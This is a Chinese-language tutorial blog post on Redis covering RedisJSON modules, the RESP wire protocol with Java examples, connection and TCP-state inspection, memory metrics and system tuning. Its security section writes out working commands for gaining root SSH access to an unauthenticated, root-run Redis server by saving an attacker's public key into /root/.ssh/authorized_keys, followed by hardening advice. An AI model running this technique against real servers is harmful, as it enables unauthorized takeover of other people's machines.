美文网首页
Redis 模块 协议 网络 安全 优化

Redis 模块 协议 网络 安全 优化

作者: 上岸大虾米 | 来源:发表于2022-05-31 19:54 被阅读0次

    Redis

    1、Redis module

    Module 通过使用外部模块和自定义的 Redis 命令来扩展 Redis 的能力,在 Redis 4.0 版本引入。

    1.1 RedisJSON安装使用

    Docker安装

    docker run -d -p 6379:6379 --name redis-redisjson redislabs/rejson:latest
    

    常规安装

    redis-server --loadmodule /usr/lib/redis/module/rejson.so
    
    1.2 Redis配置

    开启AOF

    config set appendonly yes
    
    1.3 使用
    JSON.SET user . '{"name":"b2b","age":9}'
    JSON.GET user name
    
    2、Redis 协议

    RESP(REdis Serialization Protocol,Redis序列化协议),协议内容

    *4                          // * + (入参长度 + 1)  
    $8                          // $ + (命令长度 + 1) 
    JSON.SET                    // 命令
    $4                          // $ + 入参长度 
    user                        // 入参
    $1                          // $ + 入参长度 
    .                           // 入参
    $23                         // $ + 入参长度 
    {"name":"lcj","age":23}       // 入参
    ---------------------------总结------------------------------------
      * args.length
      $ args[0].length
      args[0]
      $ args[1].length
      args[1]
      ....
    

    源码redis.clients.jedis.Protocol#sendCommand(redis.clients.util.RedisOutputStream, byte[], byte[]...)

    private static void sendCommand(final RedisOutputStream os, final byte[] command,
          final byte[]... args) {
        try {
          os.write(ASTERISK_BYTE);   
          os.writeIntCrLf(args.length + 1); 
          os.write(DOLLAR_BYTE);  
          os.writeIntCrLf(command.length); 
          os.write(command);
          os.writeCrLf();
    
          for (final byte[] arg : args) {
            os.write(DOLLAR_BYTE);   
            os.writeIntCrLf(arg.length); 
            os.write(arg); 
            os.writeCrLf(); 
          }
        } catch (IOException e) {
          throw new JedisConnectionException(e);
        }
      }
    

    Socket 实现

    public void jsonTest() throws IOException {
            Socket socket = new Socket("10.2.158.21",6379);
            socket.setKeepAlive(true);
            InputStream read = socket.getInputStream();
            OutputStream write = socket.getOutputStream();
    
            write.write("*4".getBytes());
            write.write("\r\n".getBytes());
            write.write("$8".getBytes());
            write.write("\r\n".getBytes());
            write.write("JSON.SET".getBytes());
            write.write("\r\n".getBytes());
            write.write("$4".getBytes());
            write.write("\r\n".getBytes());
            write.write("user".getBytes());
            write.write("\r\n".getBytes());
            write.write("$1".getBytes());
            write.write("\r\n".getBytes());
            write.write(".".getBytes());
            write.write("\r\n".getBytes());
            write.write("$23".getBytes());
            write.write("\r\n".getBytes());
            write.write("{\"name\":\"lcj\",\"age\":23}".getBytes());
            write.write("\r\n".getBytes());
    
            write.flush();
            byte[] arr = new byte[1024];
            int len = read.read(arr);
            System.out.println(new String(arr,0,len));
        }
    
    2.1 Redis连接

    客户端连接Redis

    # 二者都可以获取连接数 
    redis-cli client list | wc -l   # 可以查看明细
    info clients  # 只是一个总数
    

    Docker容器查看

    # 获取进程号
    docker inspect -f {{.State.Pid}} redis
    # 进入某个进程的network namespace
    nsenter -n -t {pid}
    # 查看tcp连接
    netstat -t
    

    PROC查看

    cat /proc/{pid}/net/tcp
    

    lsof

    # 查看6379端口分配了的文件描述符
    lsof -i:6379
    # 查看pid进程分配了的文件描述符
    lsof -p pid
    
    3、TCP连接状态

    LISTENING

    FTP服务启动后首先处于侦听(LISTENING)状态。

    ESTABLISHED

    ESTABLISHED的意思是建立连接。表示两台机器正在通信。

    CLOSE_WAIT

    对方关闭连接,导致我方状态变为CLOSE_WAIT(之前未关闭Redis连接,客户端网络连接状态就是CLOSE_WAIT)

    TIME_WAIT

    我方主动断开连接

    FIN-WAIT-2

    从远程TCP等待连接中断请求

    演示

    redis 配置

    # 10s关闭空闲连接
    config set timeout 10
    

    Java代码

    public static void main(String[] args) throws InterruptedException {
    
            JedisPoolConfig config = new JedisPoolConfig();
            config.setMaxTotal(10);
            config.setMaxIdle(2);
            config.setMinIdle(1);
            config.setMaxWaitMillis(1000);
            config.setMinEvictableIdleTimeMillis(10000);
            config.setTimeBetweenEvictionRunsMillis(30000);
            JedisPool pool = new JedisPool(config,"ip地址",6379);
            List<Jedis> list = Lists.newArrayList();
            IntStream.rangeClosed(1,10).forEach(i -> list.add(pool.getResource()));
            System.out.println("------------断点查看网络连接数,timeout=10--------------");
            list.forEach(Jedis::close);
    
            Thread.currentThread().join();
        }
    

    客户端 NETSTAT /an | findstr 6379

      TCP    192.168.17.1:65490     192:6379               CLOSE_WAIT
      TCP    192.168.17.1:65491     192:6379               CLOSE_WAIT
      TCP    192.168.17.1:65492     192:6379               CLOSE_WAIT
      TCP    192.168.17.1:65493     192:6379               CLOSE_WAIT
      TCP    192.168.17.1:65494     192:6379               CLOSE_WAIT
      TCP    192.168.17.1:65495     192:6379               CLOSE_WAIT
      TCP    192.168.17.1:65496     192:6379               CLOSE_WAIT
      TCP    192.168.17.1:65497     192:6379               CLOSE_WAIT
      TCP    192.168.17.1:65498     192:6379               CLOSE_WAIT
      TCP    192.168.17.1:65499     192:6379               CLOSE_WAIT
    
    4、内存 常见命令
    4.1 查看内存

    通过info memory 查看 内存信息

    used_memory:159833408    
    used_memory_human:152.43M 
    used_memory_rss:166608896 
    used_memory_rss_human:158.89M
    maxmemory:0
    maxmemory_human:0B
    mem_fragmentation_ratio:1.04
    
    
    1. used_memory 已用内存
    2. used_memory_human 人类易于理解方式used_memory 的值
    3. used_memory_rss 操作系统层面分配的内存
    4. maxmemory 最大内存,0表示不限制,推荐最大物理内存 减去 2~3G(系统占用 + Redis线程自身占用 + 数据备份FORK的线程)
    5. mem_fragmentation_ratio mem_fragmentation_ratio =used_memory_rss/used_memor

    mem_fragmentation_ratio 大于1表示操作系统分配的部分内存没有被用于存储数据,而是被内存碎片消耗,如果该值过大,说明碎片严重

    mem_fragmentation_ratio 小于1,存在两种情况,一是Redis 使用了Swap内存(虚拟内存,硬盘存储),这种情况需格外注意,因为硬盘读写速度远小于内存,导致Redis性能下降严重,此时需要查看该Redis进程使用的Swap大小,如果Swap值为0,则是另外一种情况,参见:https://github.com/redis/redis/issues/946

    # 查看整个系统Swap使用情况
    free -h 
    # 查看线程使用Swap
    cat /proc/{pid}/status | grep -i swap
    

    mem_fragmentation_ratio ` 保持在(1~1.25),过大可以通过安全重启方式解决。

    5、安全

    [图片上传失败...(image-a3ed8-1654160308897)]

    通过Redis获取机器目标机器root权限

    Redis需符合以下条件:

    1. 没有设置密码
    2. 使用root账号启动
    3. 可以正常访问
    # 失败
    linux> ssh root@10.2.158.20
    
    redis> flushall
    # /root/.ssh生成 rsa类型的公钥和私钥
    linux> ssh-keygen -t rsa
    linux> (echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > my.pub
    # -x 表示将  cat my.pub输出作为 参数
    linux> cat my.pub |  redis-cli -h ip地址  -p 6379 -x set crackit
    # 设置 持久化文件的存储目录
    redis> config set dir /root/.ssh
    # 设置 持久化文件名
    redis> config set dbfilename authorized_keys
    redis> save
    # 成功
    linux> ssh root@ip地址
    

    防护

    1. 配置复杂密码(长度要长) redis.conf 配置 requirepass设置值,长度要长,复杂多要高
    2. rename 关键命令,如 flushall、flushdb、config等,改为"" 表禁用
    3. bind 为redis内网网卡所属IP
    4. 非root权限用户启动Redis
    5. 定时备份数据...
    6、优化
    1、ulimit

    查看限制信息

    ulimit -a
    # 查看系统级别打开文件数量最大限制
    cat /proc/sys/fs/file-max
    

    修改 open file

    # 临时修改
    ulimit -HSn 65535
    # 永久修改
    echo ' *  - nofile 65535' >> /etc/security/limits.conf
    

    修改redis

    config get maxclients  # 默认 10000
    config set maxclients 60000  # 临时调整为 60000,永久需至配置文件中修改
    
    2、overcommit

    Linux操作系统,对大部分申请内存的请求都回复yes,以便能运行更多的程序。因为申请内存后,并不会马上使用内存,这种技术叫做overcommit。

    查看与设置

     cat /proc/sys/vm/overcommit_memory
     echo "vm.overcommit_memory=1" >> /etc/sysctl.conf
     sysctl vm.overcommit_memory=1
    

    修改redis

    config get maxmemory  
    # 默认 0,不限制  设置格式:  maxmemory 1000KB   maxmemory 1G... 
    # 最大内存配置需保障机器有20-30%闲置内存(redis线程 + redis内存数据(maxmemory) + fork备份数据)
    config set maxmemory 60000  # 临时调整为 60000,永久需至配置文件中修改
    
    3、tcp-backlog

    tcp-backlog 已完成连接队列的长度

    查看与设置

    cat /proc/sys/net/core/somaxconn
    echo 2048 > /proc/sys/net/core/somaxconn
    

    修改Redis

    config get tcp-backlog
    config set tcp-backlog 2048
    
    参考资料
    1. 官网英文版 https://redis.io/modules
    2. 官网中文版 http://www.redis.cn/
    3. 自定义Module https://blog.csdn.net/weixin_40785301/article/details/122629052
    4. RedisJSON入门 https://www.jianshu.com/p/02931dafb1ce
    5. 查看Docker TCP连接数 https://www.cnblogs.com/nanxiang/p/14807774.html
    6. TCP 连接状态 https://blog.csdn.net/qq_40907977/article/details/103878127
    7. ratio 小于1问题 https://github.com/redis/redis/issues/946

    相关文章

      网友评论

          本文标题:Redis 模块 协议 网络 安全 优化

          本文链接:https://www.haomeiwen.com/subject/xihwdrtx.html